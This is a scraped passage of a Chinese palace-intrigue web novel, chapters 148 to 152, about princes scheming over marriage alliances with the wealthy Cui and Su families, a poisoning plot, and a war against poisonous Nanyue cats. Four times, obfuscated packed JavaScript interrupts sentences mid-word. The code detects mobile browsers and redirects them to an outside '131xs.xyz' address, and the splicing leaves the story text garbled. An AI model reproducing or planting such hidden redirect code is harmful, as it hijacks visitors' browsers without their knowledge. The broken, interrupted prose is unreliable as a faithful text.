>这下,他总不能再像从前那样,千方百计地纠缠大姐姐了! 姜瑶真这边,得知南月毒师给她的以毒攻毒之药会让她丧失生育能力,竟没有丝毫犹豫便吞服了下去。 姜家姨娘见状,眼中闪过一丝震惊,急忙比划道:“将来无法生育子嗣,你当真不后悔?” “后悔什么?”姜瑶真轻笑一声,语气中满是不屑,“比起保住性命,无法生育根本不算什么大事。况且,这**还能让我的肌肤更加细腻光滑,简直是意外之喜,堪称完美!” 她顿了顿,又道,“娘,你难道不知吗?当今圣上也不是太后亲生,可这并不妨碍太后成为大邺皇宫中最尊贵的女子。待到南月掌控大邺之日,我大可效仿她,随意找个生母好拿捏的皇子记在名下,不就行了?” 姜家姨娘闻言,若有所思地比划道:“此生不做母亲,你心里就没有一丝遗憾?” “分娩本就是一只脚踏进鬼门关,还可能让腰身走样,肌肤留下难看的纹路,不生孩子,又能有什么遗憾?若是我腰身变粗,身上留下痕迹,那才是真正的遗憾! 如今有了三婶这**,四皇子再也奈何不了我们。娘,你说,还有什么比这更值得高兴的?” 反正如今萧修湛早已不踏足她的房中,她根本没有怀孕的机会,这与无法生育又有何区别? 不如将美貌这把利剑磨得更加锋利,让萧修湛重新为她沉迷,欲罢不能,言听计从,这才是真正的上策! 姜家姨娘看着女儿这幅笃定自信的模样,眼中流露出深深的欣慰。 她的女儿果然与众不同,志向远大,注定要成为天下最尊贵的女子! 很快,姜瑶真母女每月需服用解药的期限到了。 萧凌川本打算等着姜家姨娘哭着来求自己,再狠狠磋磨她们母女一番,給她们一个永生难忘的教训,却没想到她竟迟迟未现身。 偶尔在宫中撞见姜瑶真,她不仅脸上没有半分溃烂的痕迹,反而肤色比以往更加白皙透亮,整个人光彩夺目。 她甚至故意上前与他打招呼,笑靥如花,眼神中仿佛在挑衅:“瞧瞧,你现在根本拿我没办法!” 凌风凑近萧凌川,低声提醒道:“殿下,南月细作这颗棋子,恐怕已脱离掌控了!” 他们的**对姜瑶真母女已然失效,自然再也无法驱使南月细作为他们效力。 萧凌川脸色阴沉,眼中寒光乍现,冷冷吐出一句:“既然不受掌控,那就找个机会,彻底废了她!” 第148章 歹毒的誓言 第一百四十八章歹毒的誓言 “殿下,那姜瑶真该如何处置?她如今已是三皇子妃,恐难轻易对她下手。”凌风低声问道。 “无妨,暂且留着她的命,日后还有用处。你先替我办一件事,去给苏家当家人苏老爷送一封请帖,约他来福酒楼与我一见。”萧凌川沉声吩咐。 “是,殿下!”凌风领命而去。 若说萧怀瑾的母族崔家是大邺首富,那苏家便是当之无愧的第二富商。 尤其是在京城,苏家几乎涉足所有赚钱的行当,春香楼、来福酒楼、会客茶楼等他们皆有参股。 崔家大多将财富用于社稷,最终钱财多流入国库;而苏家则不同,他们赚的每一分银子都装进了自家腰包。 因此,崔家名声更佳,但苏家却是真正富得流油的商人。 萧凌川与苏老爷在来福酒楼的雅间会面,二人相谈甚欢。 席间,萧凌川特意提及苏老爷那刚满十八岁的女儿的婚配之事。 这位苏姑娘是苏老爷的掌上明珠,极受宠爱,京城世家贵族踏破门槛也未能入她的眼。 萧凌川记得,前世她直到二十二岁的高龄才嫁给萧修湛为侧妃,为萧修湛的夺嫡之路提供了不少财力支持。 今生萧修湛财力匮乏,想必会更早将她迎娶进门。 为了逼萧修湛尽快行动,萧凌川故意放出风声,让自己与苏老爷会面之事传得人尽皆知。 凌风不解,忍不住问:“殿下,逼三皇子早日娶苏姑娘,岂不是让他更早得到苏家的财力支持?这对我们有何好处?” 萧凌川闻言,嘴角勾起一抹冷笑:“欲速则不达。苏老爷是商人,精于算计。若他察觉萧修湛娶他女儿只是为了财力,必然不愿轻易付出。届时,萧修湛为了促成这门亲事,势必许下更多承诺。这些承诺,足以让他日后焦头烂额,后院不宁。” 前世苏姑娘挑挑拣拣,始终没遇上合心意的男子,直到二十二岁才被萧修湛纳为侧妃。 苏老爷为了让女婿善待女儿,给了丰厚的嫁妆,这些嫁妆最终都被萧修湛挪用,供养了自己的私兵。 但今生,若萧修湛此时便向苏老爷提亲,除非能拿出足够打动苏家父女的条件,否则难以成事。 而这些条件,足够让他的后院日后燃起熊熊大火。 很快,萧凌川和苏老爷会面、意欲求娶苏家姑娘的传言如风一般席卷了整个京城的大街小巷。 姜姝宁自然也听到了这桩流言。 萧凌川要娶苏家姑娘? 看来今生他是打算借助苏家的财力,为自己的夺嫡之路铺平道路。 若他如今倾向于与苏家结盟,是否意味着他要放弃崔家? 想到这里,姜姝宁心中不由得一紧。 是因为萧怀瑾对她生出了情意,让萧凌川感受到了威胁,才做出如此重大的转变吗? 崔家这些年确实为大邺国库增添了不少财富,但他们的昌盛也离不开皇权的庇护。 一旦失去这份庇护,再大的家业也不过是他人砧板上的鱼肉罢了。 若母族衰败,不敢想象等待萧怀瑾的将会是什么。 姜姝宁越想越不安,索性生出了说服萧凌川的念头。 她亲手做了他爱吃的杏仁干酪饼,又花重金熬了一锅珍贵的七珍汤,特意让凌芜往宫中传信,约萧凌川在来福酒楼一会。 来到约定的雅间,萧凌川掀开食盒,尝了一口汤水,长眉微微一挑,略带意外地笑道:“姜姑娘真是大手笔啊!” 这七珍汤的用料着实不便宜。 姜姝宁笑盈盈地回应:“理应如此。殿下承诺提携我三弟天泽,我这个当姐姐的,自然得有所表示。” 其实她心里肉疼得厉害,那七珍汤的材料贵得离谱,喝这一盅汤,简直跟吞金子没什么两样! 萧凌川眉眼间浮现一抹笑意,伸手握住她放在桌上的纤细玉手,温声道:“你我之间,何须如此客套?你的家人便是我的家人,提携你三弟是应该的。” 姜姝宁不动声色地抽回手,将另一个食盒轻轻推到他面前,笑着说:“殿下,这里还有杏仁饼,您快尝尝吧!” 萧凌川这才不急不慢地拿起一块杏仁饼浅尝一口,心中却还回味着她柔荑的触感。 姜姝宁犹豫片刻,终于开口问道:“臣女听闻,殿下有意与苏家议亲?” 萧凌川本想否认,但抬眸对上她那双略带紧张的清澈眼眸,心中莫名生出一丝期待。 莫非,她吃醋了? “嗯,确实有这个打算。”他目光游移,桃花眼瞥向别处,怕被她识破谎言。 果然如此! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722143|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜姝宁心中一紧,斟酌着言辞,小心翼翼地问道:“殿下……是准备让她做侧妃吗?” “还未想得那么周详。怎么,你在意此事?”他说话时,目光紧紧锁住她,不愿错过她脸上任何细微的神情变化。 姜姝宁深吸一口气,终于将心中反复思量的话语说了出来:“殿下若只是想娶个侧妃,不如在崔家选一位姑娘,岂不更好?” “什么?”萧凌川一愣,几乎以为自己听错,“你让我娶崔家的姑娘当侧妃?” 姜姝宁连忙为他分析道: “殿下,苏家虽富甲一方,但根基尚不稳固,距离成为大邺真正的钱袋子还有些距离。若您有意提携他们,还需试探其忠诚度。若彼此磨合不顺,对您而言也是一场不小的损耗。 不如直接娶崔家之女为侧妃,这样既能确保崔家继续为殿下效力,也能让殿下与崔家的关系更为紧密……” 她侃侃而谈,萧凌川的眉头却越蹙越紧。 “原来你今日如此大费周章,又是杏仁饼又是七珍汤,只是为了说服我不要放弃崔家?你字字句句说为我着想,可每一个字都在为萧怀瑾做打算! 你怕崔家失势,会连累萧怀瑾,让他无法再做皇宫里那个温润如玉的翩翩公子。姜姝宁,萧怀瑾对你就如此重要吗?” 最后一句话,他几乎是怒吼而出。 姜姝宁能感受到他汹涌的怒火正在燃烧、蔓延,心中猛地一沉。 糟了,萧凌川又发疯了。 他每次发疯都听不进任何劝说,只会固执己见。 姜姝宁僵了片刻,才底气不足地低声辩解:“殿下……臣女……真的是在为您着想啊!” “是吗?你敢对天起誓,说你对萧怀瑾没有半点情意,今日所言皆是为我一人考虑?若有半句虚言,就让你此生……”他一字一句,带着刻骨的恶意,“抱憾而终!” 姜姝宁眼眶酸涩,身体微微颤抖。 好歹毒的誓言啊! 抱憾而终,岂不是和前世一样的下场? 萧凌川果然知道她最在意什么,就连这毒誓都像是往她心口上扎刀。 可她明白,若自己不立下下这样的毒誓,他是绝不会相信她的话。 为了崔家,为了萧怀瑾和荣华公主…… “好,我对天起誓!” 第149章 染上她的口脂 第一百四十九章染上她的口脂 姜姝宁深吸一口气,竖起三根手指,郑重道:“我对萧怀瑾没有半点情意,今日所言皆是为四皇子殿下一人着想。若有半句虚言,就让我此生……” “够了!”萧凌川猛地打断她的话,眉眼间尽是冷厉的戾气,“既然是虚情假意,就算立下毒誓又能如何?” 他忽然伸手扣住她的后脑勺,强迫她靠近自己,一双摄魂勾魄的桃花眸紧紧锁住她,一字一句道,“姜姝宁,你给我听清楚了,兑现诺言的那一天,你必须把心里不该有的人彻底清出去。我要你心里眼里,只有我一人!你听懂了吗?” 他靠得极近,近到她能看清他根根分明的睫毛,感受到他咬牙切齿间喷洒出的气息。 然而,这距离非但没有带来半分旖旎,反而让她感到无形的压迫和如芒在背的威胁。 姜姝宁张了张嘴,小心翼翼地挤出三个字:“听懂了!” 下一瞬,他炽热的唇骤然覆上,带着不容拒绝的侵略意味,仿佛在宣示**一般,霸道而又狂热地在她唇上印下他的烙印。 姜姝宁无力挣脱,只能被迫承受这狂风暴雨般的吻,直到肺中的空气被抽干,才得以喘息。 他唇上沾着她的胭脂,原本就过于俊美的面容显得越发妖冶惑人。 姜姝宁的脸红得如盛开的牡丹,一双水润的眼眸中却涌动着隐忍的愠色,敢怒不敢言。 罢了,他既已发疯,多说无益,还是暂且忍耐吧! 萧凌川定定地凝视了她片刻,直到眼底的炙热褪去,这才慵懒地开口:“崔家和苏家的女儿,我都不打算娶。不过,你的建议倒是点醒了我。既然崔家与苏家都是对大邺有益的富商,我何不……促成他们的联姻?” 姜姝宁一愣。 还未等她回过神来,便听萧凌川阴冷一笑:“是时候给萧怀瑾找个侧妃了!我看,苏家女儿就很合适!” 姜姝宁难以置信地望着他。 他真的,疯了! 萧凌川从来福酒楼出来,沉着脸吩咐凌风:“回宫,去见荣贵妃,和她商议崔苏两家结亲之事!” 凌风一愣,疑惑道:“崔苏两家生的不都是姑娘?如何结亲?” 萧凌川冷哼:“这不是还有我五弟萧怀瑾吗?” 凌风愣了半晌才反应过来:“殿下是想让苏家姑娘嫁给五皇子殿下?您之前不是说,若苏姑娘嫁给三皇子殿下,能让他的后院起火吗?” “如今萧修湛的后院还没起火,我的后院倒是先要烧起来了!”萧凌川面色阴沉,语气中透着几分不悦,“得给萧怀瑾找个侧妃管管他,别让他再出现在姜姑娘面前!” 凌风:“……” 殿下,您还没娶妻纳妾,哪来的后院? 果然,每逢涉及姜姑娘的事,他们主子总有些不太正常。 突然,他似是想到了什么,急忙唤住萧凌川:“殿下,且慢!” “闭嘴!说什么我都不会改变主意!” 萧凌川语气冷硬,他要用强硬手段斩断姜姝宁对萧怀瑾的情意,哪怕付出意想不到的代价! “属下是想提醒殿下,您嘴上……”凌风有些难以启齿,“沾了女子用的口脂!” 若是以这副模样去见荣贵妃,旁人还以为他刚从春香楼出来。 萧凌川这才停下脚步,慢条斯理地拭去唇上那抹引人遐想的红。 福禄宫中,荣贵妃虽极力保持端庄,但眉眼间仍难掩心中的惊讶。 “四皇子是在与本宫玩笑吗?都说同行是冤家,崔家与苏家皆以经商为本,一个是大邺首富,一个是大邺次富,两家多年来争抢客源与市场,彼此早就互看不顺眼,如何能结亲?” 萧凌川不以为然,端起桌上的茶杯轻啜了一口,神色浅淡:“正因如此,才需五弟成为联结两家的纽带。荣贵妃,难道您想看崔家与苏家继续明争暗斗下去吗?若两家联手,共同为大邺效力,岂不是更好?” 荣贵妃眉头微动:“你想让苏家也成为大邺的钱袋子?” “正是!”萧凌川毫不掩饰他的目的,“不过荣贵妃放心,崔家永远凌驾于苏家之上。崔家是大钱袋子,苏家只是小钱袋子,今后还需听从崔家安排。只需一场联姻,崔家便能得到掌握操控苏家的机会,荣贵妃当真不动心?” 荣贵妃自然心动。 崔家为大邺皇室效力,行事往往受限,束手束脚。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722144|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏家不同,他们只需遵循商人的本性追逐利益即可,因此这些年赚得盆满钵满。 若能掌控苏家的财富,崔家能做的事便会多上许多。 “只是……瑾儿怕是不会同意。”荣贵妃强压下直接同意的冲动,沉声道,“况且他如今也不在宫中,随他外祖舅舅出门历练去了。” 见她明显意动,萧凌川趁势追击:“婚姻大事,自有父母之命、媒妁之言。区区一个侧妃罢了,荣贵妃完全可以替他做主。” 荣贵妃目光讳莫如深地落在他脸上:“四皇子今日前来,怕不仅仅是为了崔苏两家之事吧?” “当然,我也有自己的私心!”萧凌川并不打算隐瞒,笑得意味深长,“不过,我只让五弟娶个侧妃。若那人与他真是情投意合,他将正妃之位留给她,想必她也会欣然接受的。” “四皇子说得倒是轻巧,那你自己为何不娶?”荣贵妃语气中带着几分试探,“崔苏两家的女儿,一家娶一个,大小钱袋子不就都握在你手上了?” “我可不像三哥那般风流,那么多妻妾,我消受不起!”萧凌川皮笑肉不笑,知道必须抛出更有诱惑力的条件,才能彻底打动荣贵妃。 “若荣贵妃能促成此事,他日我若君临天下,便许您一个太后之位,如何?” “什么?”荣贵妃几乎怀疑自己听错了,“太后?” “荣贵妃莫忘了,我的生母不过是一名南月歌伎,且早已亡故。若有朝一日我问鼎天下,自然需要一个强盛的母族作为依仗。到那时,崔家便是最合适的选择,而荣贵妃自然也能成为太后。” 他的暗示再清楚不过:一旦他登上皇位,便会对外宣称自幼记在荣贵妃名下。 而她作为抚养皇帝的后宫嫔妃,自当成为皇宫中最尊贵的女人——太后。 荣贵妃藏在袖子底下的手在微微颤抖。 如此诱人的条件,她怎么可能不动心? 这不仅关乎她个人的荣耀,更是为了整个崔家。 崔家世代经商,即便为大邺皇室效力,却始终被其他世家贵族轻视。 若崔家能出一位太后,从此便能世代尊荣,再无人敢小瞧他们! 她深吸一口气…… 第150章 感情骤然升温 第一百五十章感情骤然升温 “好,本宫应允此事,让瑾儿迎娶苏氏女为侧妃。四皇子也莫忘了今日对本宫的承诺。”荣贵妃语气沉稳,眼中却闪过一丝期待。 萧凌川起身,郑重行礼:“多谢荣贵妃!贵妃放心,君子一诺,驷马难追。待他日我登大位,定兑现今日之言!明日我便带苏老爷入宫,您与他详谈结亲事宜,也好早日禀明父皇,择良辰吉日,为五弟与苏姑娘完婚!” 荣贵妃微怔:“这……是否太急了些?” “不急。”萧凌川笑意深长,“荣贵妃,苏家那位十八岁的姑娘如今可是炙手可热,若慢了一步,恐被他人捷足先登!” 他所言不虚。 自从他与苏老爷会面议亲的消息传到萧修湛耳中,三皇子便与熙贵妃忙着筹备向苏家提亲。 姜瑶真听闻此事,怒不可遏,在麟阁宫大闹一场:“你我成婚才几月,你便急着纳侧妃?殿下眼里还有没有我这个正妃?” 萧修湛满脸不耐,冷声应道:“依大邺律法,皇子婚后一月便可纳侧妃。你既善妒又泼辣,休了你我都有理,何况只是纳个侧妃!” “你……”姜瑶真气得口不择言,“好一个皇子!建功立业不见你多积极,娶妻纳妾倒是比谁都勤快!帝王之术就只学会如何扩充后宫了?” 这话正中萧修湛痛处,他怒气上涌,抬手“啪”地甩了她一记耳光。 “若非你当初执意要婚礼体面、聘礼贵重,本皇子如今何至于如此捉襟见肘!”萧修湛怒目而视,“如今母妃后宫的账目还未清平,娶苏氏女为侧妃,还不是为了填补你留下的那些亏空!” 姜瑶真捂着脸,被他那凶神恶煞的模样吓到了。 回过神后,她才察觉不对劲。 一场婚宴和看似厚重的聘礼,竟能让熙贵妃的后宫账目平不了? 这怎么可能? 分明是他们母子将钱财挪作他用,却把罪名扣在她头上! 什么为了填补亏空才娶苏氏女,全是借口! 萧修湛见她捂着脸沉默,一双明眸幽怨地盯着自己,心中莫名一虚。 “你这样盯着我做什么?” “没什么。”姜瑶真声音低沉,“妾身只是想起,这是殿下婚后第二次打我耳光了。” 萧修湛自知理亏,语气却更冷:“谁让你不知分寸,三番两次顶撞本皇子!” “倒是妾身的不是了。”姜瑶真冷笑一声,“是啊,妾身不该反对殿下纳侧妃。不仅不该反对,还该恭祝殿下与未来侧妃百年好合,早生贵子!” 她朝他行了一礼,带着冷笑,转身离去。 这还是她首次吃了亏却未当场讨回。 望着她远去的背影,萧修湛心中泛起一丝复杂的情绪。 方才自己是否太过分了? 自从上次她害得姜莲小产后,她似乎收敛了许多,不再惹是生非。 她毕竟是正妃,夫君突然要纳侧妃,她生气也在情理之中。 想到这里,萧修湛心头涌上一抹愧疚。 他沉吟片刻,抬步走向寝殿寻她。 姜瑶真正坐在铜镜前,春花正为她卸下发髻上的朱钗。 见到他进来,春花吓得“扑通”一声跪倒在地,颤抖着行礼:“奴婢参见殿下!” 自从亲眼见他下令杖毙宋嬷嬷,春花对他便心生畏惧。 姜瑶真察觉到春花对萧修湛的恐惧,低声道:“春花,你先下去吧。” “是,王妃娘娘!”春花如蒙大赦,慌忙退下。 萧修湛脸色微沉:“我有这么可怕吗?” “春花是宋嬷嬷一手带大的,你杖毙了宋嬷嬷,她怎能不怕?”姜瑶真语气平静,带着几分疏离。 他凝视她那张明艳的脸庞,试探着问:“那你呢?你也怕我吗?” “妾身当然怕殿下。”姜瑶真语带嘲讽,语气却因她明艳的容貌,平添几分娇嗔意味,“殿下动辄甩妾身耳光,妾身怎能不怕?” 这话本是讥诮,但在萧修湛耳中,竟像是她在撒娇。 他心头一软,伸手轻抚她的脸颊:“打疼了?让我瞧瞧。” 奇怪的是,她脸颊依旧娇嫩如花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734832|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半点红肿痕迹也无。 “方才那一巴掌,竟没在你脸上留痕?”他忍不住问,眼中带着几分惊讶。 姜瑶真冷笑:“殿下若觉得看不见痕迹,不如再来一巴掌?” “傻瓜,我哪舍得再打?”萧修湛低笑,揽她入怀,语气放软,“这次纳侧妃,确实是我操之过急,理应先与你商量。其实我本没打算这么快纳妾,只是听闻四弟私下找苏老爷议亲,我怕被他抢了先机。” “四皇子?”姜瑶真挑眉,有些意外,“他不是钟情我姐姐吗?怎会看上别的女子?” 萧修湛嗤笑:“钟情?男人眼里,哪有利益重要?苏氏产业遍布京城,苏姑娘又是苏老爷的掌上明珠,嫁妆之丰厚可想而知。娶你姐姐,不过得些清流支持,怎比得上苏家的真金白银?” “原来如此,难怪殿下急着娶苏姑娘!”姜瑶真阴阳怪气,“嫌妾身娘家帮衬少了?” “你怎能与她相比?”萧修湛凝视她,越看越觉她美得惊心动魄,“真儿,我因喜欢你才娶你为正妃,与她是两码事。” “真儿,给我生个孩子吧。有了孩子,你就不会因我纳妾而生气了。谁也动摇不了你的正妃之位!” 姜瑶真心中冷笑,这话来得太晚。 她现在已无法生育,这番许诺对她而言不过是空话。 “殿下,当初是我不懂事,害得姜贵妾小产。”她垂眸,语气平静,“往后,殿下与后院任何妾室有了孩子,我都视如己出。” “真的?”萧修湛眼中一亮,捧起她的脸,轻柔地吻上她的脸颊,“真儿,以前是我不好,往后我定好好补偿你。” 说着,他将她打横抱起,朝大床走去…… 夫妻二人感情骤然升温,接连几日如胶似漆。 没想到,宫中突然传拉力消息:苏姑娘已被皇帝指婚给五皇子萧怀瑾为侧妃。 这消息如晴天霹雳,萧修湛愣了半晌才回神。 “怎会突然扯上五弟?” 不是萧凌川要和他抢苏姑娘吗? 难道,萧凌川与萧怀瑾联手了? 第151章 是她连累了他 第一百五十一章是她连累了他 苏家千金自小被捧在掌心,性子挑剔,自然不愿嫁给妻妾成群的三皇子为侧妃。相比之下,五皇子温润如玉,又尚未娶妻纳妾,更得她青睐。 苏家也盘算着,五皇子更适合攀附。 若自家女儿得宠,未来或许还能成为正妃。 因此,当荣贵妃与苏老爷商议婚事时,苏老爷几乎未提条件便欣然应允。 既能攀上皇权,又可与崔家化解旧怨,这一举两得之事,苏家何乐而不为? 等萧修湛去找苏老爷询问此事时,一切早已尘埃落定。 苏老爷满脸赔笑:“三皇子殿下,实在是小女无福,未能成为您的侧妃,还望殿下海涵!” 萧修湛冷哼一声,脸色阴沉:“苏老爷明知本皇子有意迎娶令千金,却转头与我五弟议亲,难道在你眼中,本皇子就如此好糊弄?” “三皇子殿下言重了!”苏老爷脸上依旧是恭谨的神色,但笑容明显敛去许多,“小女无论嫁给哪位皇子,都是我苏家修来的福分。只是殿下已有一位正妃,小女自幼被我娇惯,恐难与三皇子妃和睦相处,这才退而求其次,选了五皇子殿下为未来夫婿。还请殿下莫要动怒!” 这话虽委婉,却透着对萧修湛妻妾众多的不满。 萧修湛一时间竟无力反驳,只能拂袖而去。 除了萧修湛,还有一人对这件事心生不满。 张嫣在家中哭得撕心裂肺:“他怎能娶侧妃?怎能就这么娶了侧妃?” 张尚书在一旁,脸色铁青,恨铁不成钢地斥道:“嫣儿,你不是答应过为父,要忘了五皇子,与二皇子好好过日子吗?怎又为他的事哭闹不休?若传出去,成何体统?” “父亲,他竟要娶一个商贾之女,这绝不是他的本意!”张嫣泪眼婆娑,语气急切,“他如今不在宫中,定是被荣贵妃当作结盟的筹码。父亲,您能否想办法将此事告知他,让他速回阻止这桩婚事?” “胡闹!”张尚书脸色骤沉,怒声喝道,“陛下已为五皇子和苏家女赐婚,此事早已板上钉钉,哪是他一人之力能更改的?婚姻大事,向来由父母做主,皇子更是如此!你就别再执迷不悟了!” 张嫣泪流满面,心中愈发不甘。 连姜姝宁那样的高门贵女,她都觉得配不上五皇子,更何况一个满身铜臭的商家之女? 五皇子那般清隽出尘的人物,怎能与这种身份的女子成亲? 若这苏家女不在了,这婚事是不是就结不成了? 想到此处,张嫣脸上浮现一抹阴郁的神色。 “张姑娘,无事不登三宝殿,有话不妨直说。”麟阁宫前厅,姜瑶真端着茶杯,慢悠悠地开口。 张嫣也不绕弯子,开门见山道:“不知三皇子妃这里,可有能置人于死地的**?” 这话一出,姜瑶真险些被茶水呛到。 她抬眼,狐疑地打量着张嫣,压低了声音:“你想毒害谁?” 张嫣冷冷地开口:“苏家女。” “就是那个与五皇子定亲的苏家女?”姜瑶真笑意渐深,眼中闪过一丝了然。 心想,这张嫣怕是要将所有与萧怀瑾沾边的女子赶尽杀绝。 留着她,倒不愁没人帮她弄死姜姝宁。 她亲自为张嫣斟了一杯茶,语调缓而沉:“你可知,**并不难,难的是杀完人还能全身而退。**偿命,我知你不怕死,可若连累了你父亲和弟弟,你舍得吗?” 张嫣闻言一惊,忙道:“张嫣莽撞,愿听三皇子妃安排。” “不急,得挑个好时机。”姜瑶真笑得意味深长。 她心中已开始盘算,如何让苏家女的死,成为一箭双雕的棋局,最好还能趁机中伤萧凌川和姜姝宁,那就更完美了。 相府,翠竹院。 凌芜依照萧凌川的吩咐,特意在姜姝宁面前提起:“大小姐,听说五皇子殿下与苏家女定亲了!” 姜姝宁正在缝制香囊,闻言手下一顿,针线停在了半空。 “若五皇子与苏姑娘结亲,能促成崔苏两家共同为大邺出力,也算是一件好事。”她语气平淡,仿佛在说一件无关紧要的事。 虽然此事由萧凌川刻意促成,但她明白,皇室需要商人的财富支持,商人亦需皇室的庇护,这门亲事实为各取所需的双赢之策。 “姜姑娘难道一点都不介意吗?毕竟人尽皆知,五皇子殿下对您心生倾慕……” “凌芜,别再提这样的话。”姜姝宁打断她,声音清冷,“我与五皇子之间毫无瓜葛,况且,我已经说过,此生不嫁。他娶谁,都与我无关。” “是,大小姐,奴婢多嘴了!”凌芜偷瞄姜姝宁,见她神色如常,毫无波澜,心中暗自欣喜。 她就知道,大小姐对五皇子并无男女之情,得知他与他人定亲,也丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734833|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不放在心上。 凌芜不知道的是,在她转身离去的那一刻,姜姝宁的脸上闪过一抹难以掩饰的哀伤。 尽管这门亲事对崔苏两家有益,但她清楚,以萧怀瑾的性子,是不愿成为利益捆绑的棋子的。 姜姝宁心头一阵酸涩。 他本可如前世那般,做个逍遥自在的闲散王爷。 终究,是她连累了他。 她摩挲着香囊上那个小得可以忽略的“瑾”字,眸色黯淡。 金銮殿上,皇帝脸色阴沉。 二皇子率十万精兵出征,击退南月敌军的侵扰,本该是稳操胜券的战局。 按照先前估算,两月之内便可凯旋而归。 然而,如今三月有余,大军仍无归期。 近日,二皇子身边的副将带着满身伤痕回到京城,却在抵达城门时**。 仵作验尸后发现,他竟中了不明之毒,身上布满道道血痕,似被野兽抓挠,而非人为。 从副将身上搜出一封信,内容令人震怖: 二皇子初战告捷,比预期早一月大胜,兵马几乎毫无折损。 有人趁势提议,直取南月国,彻底根除大邺后患。 二皇子年轻气盛,受此鼓动,果真挥军攻入南月边境的鲤城。 破城当日,鲤城百姓当即缴械,誓言臣服于大邺。 二皇子喜不自胜,放松警惕,将大军驻扎鲤城,准备乘胜追击。 不料,入住鲤城的第二晚,形势急转直下。 深夜,城中突然涌现无数南月猫,凶残异常,见人就扑,咬伤的士兵伤口溃烂,任凭何种药物皆无济于事。 二皇子察觉这是南月人的陷阱时,已为时太晚。 他率军撤退,途中却仍有士兵接连倒下,更可怕的是,那些毒猫竟藏于粮草之中,随军潜回大邺。 为剿灭这些带毒的南月猫,二皇子只得命残部驻守大邺南部边境,日夜巡防,以免毒猫祸及百姓。 如今,十万大军仅剩不足一万…… 内**信的内容宣读完毕,朝堂上一片死寂,恐惧如潮水般蔓延。 二十多年前,南月猫在皇宫肆虐,咬死无数宫人,至今仍是许多人心中的梦魇。 如今,这些毒猫竟愈发凶残,连精锐士兵也难逃其爪。 就在此时,朝堂中响起一道清朗之声:“父皇,儿臣愿出征,助二哥解围!” 第152章 阴谋与利刃 第一百五十二章阴谋与利刃 开口之人正是四皇子萧凌川。 他话音未落,三皇子萧修湛便当即反对:“父皇,万万不可!二哥如今身陷险境,分明是南月人设下的诡计。南月人素来狡诈阴险,四弟身上流着一半南月血,谁能保证他不是通敌,欲借机助南月侵我大邺?” 萧凌川闻言,唇角勾起一抹嘲讽:“三哥说得有理。既如此,不如就请三哥带兵前去,助二哥脱困如何?” “你……”萧修湛脸色骤变,声音微颤,“那些南月猫能咬**,四弟如此提议,是想逼我去送死吗?” 萧凌川见他满脸惊恐,嘲意更浓:“怎么,三哥害怕?我还以为你满身大邺血脉,正直无畏,不惧南月猫之毒呢!” “你……”萧修湛被嘲讽得脸一阵红一阵青,又羞又怒。 “够了!”皇帝猛地喝断,面色阴沉如墨,“朕信老四!他生母虽是南月人,但他是大邺皇子,自幼在朕膝下长大,还曾舍命救朕,朕信他绝不会勾结外敌,危害大邺子民!” “谢父皇!”萧凌川拱手,朗声应道。 “老四,你可有法子应对那些带毒的南月猫?”皇帝目光锐利。 “启禀父皇,儿臣深知大邺多年避免与南月正面交锋,一是为了免百姓饱受战火之苦,二是因为忌惮南月之毒。 为此,儿臣耗费心力,走访大邺各地名医,终结识一位孙姓神医。他能在极短时间内配出**的解药。儿臣此次愿带他同行,定能助儿臣抵御南月毒猫之害!”萧凌川道。 皇帝闻言,脸上露出欣慰之色:“老四果有远见,朕心甚慰!既如此,朕允你率五万兵马,速去支援老二!千万别让朕失望!” “父皇放心,儿臣必不负重托,誓将南月毒猫尽数剿灭,还大邺百姓一个安定盛世!” “待你凯旋,朕必重赏!” “谢父皇!”萧凌川再次拜谢,语气铿锵。 朝臣们闻此,皆暗暗松了一口气,总算有人挺身而出,应对这棘手危局。 姜丞相当即上前,拱手道:“恭喜陛下,四皇子殿下谋深虑远,真乃大邺栋梁!” 其他朝臣纷纷附和,朝堂上一时间赞誉之声此起彼伏,皆是对萧凌川的肯定与期许。 回到麟阁宫,萧修湛满脸怒容。 